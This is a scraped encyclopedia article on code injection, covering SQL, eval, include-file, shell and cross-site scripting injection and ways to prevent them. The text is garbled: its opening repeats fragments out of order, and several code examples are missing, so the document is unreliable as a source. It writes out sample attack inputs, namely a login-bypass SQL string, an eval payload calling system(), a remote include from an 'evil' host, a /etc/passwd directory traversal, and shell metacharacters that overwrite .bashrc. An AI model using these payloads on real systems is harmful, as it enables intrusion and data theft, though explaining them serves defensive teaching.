Code injection
Encyclopedia
Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worm
s to propagate.
script, which accepts small messages from users, and typically receives messages such as
Very Nice site!
However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as
Nice Site, I think I'll take it.>
If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user.
However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.
That post was awesome, >:)
Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. Classic examples of dangerous assumptions a software developer might make about the input to a program include:
. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.
or cracking to gain information, Privilege escalation
or unauthorized access to a system.
Code injection can be used malevolently to:
Someone might resort to this sort of work-around because other ways of modifying the software to function as desired:
This technique of code injection is considered less robust then proper code modification, and is often called a kludge or hack.
Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or
specialized features. The side effects and unaccounted implications can, unfortunately, be very dangerous.
Even well-intentioned use of code injection is discouraged in general.
, such as:
The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches need to be taken however, when you are dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:
takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL
query to check the password against the list of user names:
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (
In the example above, "Password" is assumed to be blank or some innocuous string. "
The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
call.
The argument of "
PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is
also dangerous.
A number of applications have code such as the following:
If the attacker provides "
and:
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in
s, but applies to most systems which allows software to programmatically execute command line. Typical Shell Injection functions are
Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.
This program can be injected in multiple ways:
PHP offers
The two basic types are as follows:
Active (Type 1)
Passive (Type 2)
, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.
, an add-on to Microsoft IIS.
In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.
Example:
In this example, the user is able to insert a command instead of a username.
Computer worm
A computer worm is a self-replicating malware computer program, which uses a computer network to send copies of itself to other nodes and it may do so without any user intervention. This is due to security shortcomings on the target computer. Unlike a computer virus, it does not need to attach...
s to propagate.
Overview and example
A web server has a guestbookGuestbook
A guestbook is a paper or electronic means for a visitor to acknowledge their visitation to a site, physical or web-based, and leave their name, postal or electronic address , and a comment or note, if desired...
script, which accepts small messages from users, and typically receives messages such as
However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as
If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user.
However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.
Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. Classic examples of dangerous assumptions a software developer might make about the input to a program include:
- assuming that metacharacterMetacharacterA metacharacter is a character that has a special meaning to a computer program, such as a shell interpreter or a regular expression engine.-Examples:...
s for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear - assuming only numeric characters will be entered as input
- assuming the input will never exceed a certain size
- assuming that numeric values are within the upper and lower bounds
- assuming that client supplied values set by server (such as hidden formForm (web)A webform on a web page allows a user to enter data that is sent to a server for processing. Webforms resemble paper or database forms because internet users fill out the forms using checkboxes, radio buttons, or text fields...
fields or cookiesHTTP cookieA cookie, also known as an HTTP cookie, web cookie, or browser cookie, is used for an origin website to send state information to a user's browser and for the browser to return the state information to the origin site...
), cannot be modified by client. This assumption ignores known attacks such as CookieHTTP cookieA cookie, also known as an HTTP cookie, web cookie, or browser cookie, is used for an origin website to send state information to a user's browser and for the browser to return the state information to the origin site...
poisoning, in which values are set arbitrarily by malicious clients. - assuming that it is okay to pick pointers or array indexes from input
- assuming an input would never provide false information about itself or related values, such as the size of a file
Analogy
Certain types of code injection are errors in interpretation, giving special meaning to mere user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?Who's on First?
Who's on First? is a vaudeville comedy routine made most famous by Abbott and Costello. In Abbott and Costello's version, the premise of the routine is that Abbott is identifying the players on a baseball team to Costello, but their names and nicknames can be interpreted as non-responsive answers...
. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.
Malevolent
Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hackingHacker (computer security)
In computer security and everyday language, a hacker is someone who breaks into computers and computer networks. Hackers may be motivated by a multitude of reasons, including profit, protest, or because of the challenge...
or cracking to gain information, Privilege escalation
Privilege escalation
Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user...
or unauthorized access to a system.
Code injection can be used malevolently to:
- Arbitrarily modify values in a database through a type of code injection called SQL injectionSQL injectionA SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a badly designed website in order to dump the database content to the attacker. SQL injection is a code injection technique that exploits a security vulnerability in a website's software...
. The impact of this can range from defacementDefacement (vandalism)In common usage, to deface something refers to marking or removing the part of an object designed to hold the viewers' attention. Example acts of defacement could include scoring a book cover with a blade, splashing paint over a painting in a gallery, or smashing the nose of a sculpted bust...
of a web site to serious compromise of sensitive data. - Install malwareMalwareMalware, short for malicious software, consists of programming that is designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, or gain unauthorized access to system resources, or that otherwise exhibits abusive behavior...
on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site. - Install malwareMalwareMalware, short for malicious software, consists of programming that is designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, or gain unauthorized access to system resources, or that otherwise exhibits abusive behavior...
or execute malevolent code on a server, by PHP or ASP Injection. - Privilege escalationPrivilege escalationPrivilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user...
to rootSuperuserOn many computer operating systems, the superuser is a special user account used for system administration. Depending on the operating system, the actual name of this account might be: root, administrator or supervisor....
permissions by exploiting Shell Injection vulnerabilities in a setuid rootSetuidsetuid and setgid are Unix access rights flags that allow users to run an executable with the permissions of the executable's owner or group...
binary on UNIX. - Privilege escalationPrivilege escalationPrivilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user...
to Local SystemSuperuserOn many computer operating systems, the superuser is a special user account used for system administration. Depending on the operating system, the actual name of this account might be: root, administrator or supervisor....
permissions by exploiting Shell Injection vulnerabilities in a service on Windows. - Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross-site scriptingCross-site scriptingCross-site scripting is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same...
).
Benevolent
Some people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent. Code injection could, for example,:- Introduce a useful new column that did not appear in the original design of a search results page.
- Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
- As with programs like Dropbox, add special parts that could be used to connect to online resources in an offline program.
Someone might resort to this sort of work-around because other ways of modifying the software to function as desired:
- Prove impossible, or
- Are too expensive, or
- Become too frustrating or painful.
This technique of code injection is considered less robust then proper code modification, and is often called a kludge or hack.
Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or
specialized features. The side effects and unaccounted implications can, unfortunately, be very dangerous.
Even well-intentioned use of code injection is discouraged in general.
Unintentional use
Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:- What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
- The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.
Preventing code injection
To prevent code injection problems, utilize secure input and output handlingSecure input and output handling
Secure input and output handling are secure programming techniques designed to prevent security bugs and the exploitation thereof.- Input handling :...
, such as:
- Input validation
- Selective input inclusion/exclusion
- Escaping dangerous characters. For instance, in PHP, using the
htmlspecialchars
function (converts HTML tags to their ISO-8859-1 equivalents) and/orstrip_tags
function (completely removes HTML tags) for safe output of text in HTML, andmysql_real_escape_string
to isolate data which will be included in an SQL request, to protect against SQL Injection. - Input encoding
- Output encoding
- Other coding practices which are not prone to code injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bound variables" or "bound values").
- Modular shell disassociation from kernel
- Sloppy coding for functionality
The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches need to be taken however, when you are dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:
- Runtime image hash validation - capture a hash of a part or complete image of the executable loaded into memory, and compare it with stored and expected hash.
- NX bitNX bitThe NX bit, which stands for No eXecute, is a technology used in CPUs to segregate areas of memory for use by either storage of processor instructions or for storage of data, a feature normally only found in Harvard architecture processors...
- all user data is stored in a special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory, and refuses to execute anything found in there.
Example of Selective Input Inclusion/Exclusion in PHP
SQL injection
SQL injectionSQL injection
A SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a badly designed website in order to dump the database content to the attacker. SQL injection is a code injection technique that exploits a security vulnerability in a website's software...
takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL
SQL
SQL is a programming language designed for managing data in relational database management systems ....
query to check the password against the list of user names:
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (
"password' OR '1'='1"
) in the Password field, then the resulting query will look like this:In the example above, "Password" is assumed to be blank or some innocuous string. "
'1'='1'
" will always be true and many rows will be returned, thereby allowing access.The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
Dynamic evaluation vulnerabilities
Steven M. Christey of Mitre Corporation suggests this name for a class of code injection vulnerabilities.Dynamic evaluation vulnerabilities - eval injection
An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into anevalEvalIn some programming languages, eval is a function which evaluates a string as though it were an expression and returns a result; in others, it executes multiple lines of code as though they had been included instead of the line including the eval...
functioncall.
The argument of "
eval
" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')
", additional code is run which executes a program on the server, in this case "/bin/echo
".Dynamic evaluation vulnerabilities - dynamic variable evaluation
As defined in "Dynamic Evaluation Vulnerabilities in PHP applications":PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is
also dangerous.
A number of applications have code such as the following:
If the attacker provides "
safevar=bad
" in the query string, then$safevar
will be set to the value "bad".Dynamic evaluation vulnerabilities - dynamic function evaluation
The following PHP-examples will execute a function specified by request.and:
Include file injection
Consider this PHP program (which includes a file specified by request):The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in
COLOR
, it is possible to inject code from files:
-
/vulnerable.php?COLOR=
- injects a remotely hosted file containing an exploit.http://evil/exploit? -
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
- Executes code from an already uploaded file called exploit.php -
/vulnerable.php?COLOR=../../../../../../../../etc/passwd%00
- allows an attacker to read the contents of the passwd file on a UNIX system directory traversalDirectory traversalA directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs....
. -
/vulnerable.php?COLOR=C:\\notes.txt%00
- example using NULLNull characterThe null character , abbreviated NUL, is a control character with the value zero.It is present in many character sets, including ISO/IEC 646 , the C0 control code, the Universal Character Set , and EBCDIC...
meta character to remove the.php
suffix, allowing access to files other than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)
Shell injection
Shell Injection is named after Unix shellUnix shell
A Unix shell is a command-line interpreter or shell that provides a traditional user interface for the Unix operating system and for Unix-like systems...
s, but applies to most systems which allows software to programmatically execute command line. Typical Shell Injection functions are
system
, StartProcess
, java.lang.Runtime.exec
, System.Diagnostics.Process.Start
and similar APIs.Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.
This program can be injected in multiple ways:
- `command` will execute command.
- $(command) will execute command.
- ; command will execute command, and output result of command.
- | command will execute command, and output result of command.
- && command will execute command, and output result of command.
- || command will execute command, and output result of command.
- > /home/user/phpguru/.bashrc will overwrite file .bashrc.
- < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.
PHP offers
escapeshellarg
and escapeshellcmd
to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.HTML-script injection (cross-site scripting)
HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.The two basic types are as follows:
Active (Type 1)
- This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.
Passive (Type 2)
- This type is more dangerous, as the input is written to a static page, and as such, is persistent.
HTML injection in IE7 via infected DLL
According to an article in UK tech site The RegisterThe Register
The Register is a British technology news and opinion website. It was founded by John Lettice, Mike Magee and Ross Alderson in 1994 as a newsletter called "Chip Connection", initially as an email service...
, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.
ASP injection
"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server PagesActive Server Pages
Active Server Pages , also known as Classic ASP or ASP Classic, was Microsoft's first server-side script engine for dynamically-generated Web pages. Initially released as an add-on to Internet Information Services via the Windows NT 4.0 Option Pack Active Server Pages (ASP), also known as Classic...
, an add-on to Microsoft IIS.
In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.
Example:
In this example, the user is able to insert a command instead of a username.
See also
- Remote File InclusionRemote File InclusionRemote File Inclusion is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation...
- Buffer overflowBuffer overflowIn computer security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory. This is a special case of violation of memory safety....
- DebuggingDebuggingDebugging is a methodical process of finding and reducing the number of bugs, or defects, in a computer program or a piece of electronic hardware, thus making it behave as expected. Debugging tends to be harder when various subsystems are tightly coupled, as changes in one may cause bugs to emerge...
- Mobile codeMobile codeIn computer science, mobile code is software transferred between systems, e.g. transferred across a network or via a USB flash drive, and executed on a local system without explicit installation or execution by the recipient...
- MonitorMachine code monitorA machine code monitor is software built into or separately available for various computers, allowing the user to enter commands to view and change memory locations on the machine, with options to load and save memory contents from/to secondary storage.Machine code monitors became something of a...
- SQL injectionSQL injectionA SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a badly designed website in order to dump the database content to the attacker. SQL injection is a code injection technique that exploits a security vulnerability in a website's software...
- Trojan horse (computing)Trojan horse (computing)A Trojan horse, or Trojan, is software that appears to perform a desirable function for the user prior to run or install, but steals information or harms the system. The term is derived from the Trojan Horse story in Greek mythology.-Malware:A destructive program that masquerades as a benign...
External links
- Article "Three Ways to Inject Your Code into Another Process" by Robert Kuster
- Article "Inject your code to a Portable Executable file" by Ashkbiz Danehkar
- Article "Injective Code inside Import Table" by Ashkbiz Danehkar
- Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
- News article "Flux spreads wider" - First Trojan horseTrojan horse (computing)A Trojan horse, or Trojan, is software that appears to perform a desirable function for the user prior to run or install, but steals information or harms the system. The term is derived from the Trojan Horse story in Greek mythology.-Malware:A destructive program that masquerades as a benign...
to make use of code injection to prevent detection from a firewall - The Daily WTF regularly reports real-world incidences of susceptibility to code injection in software.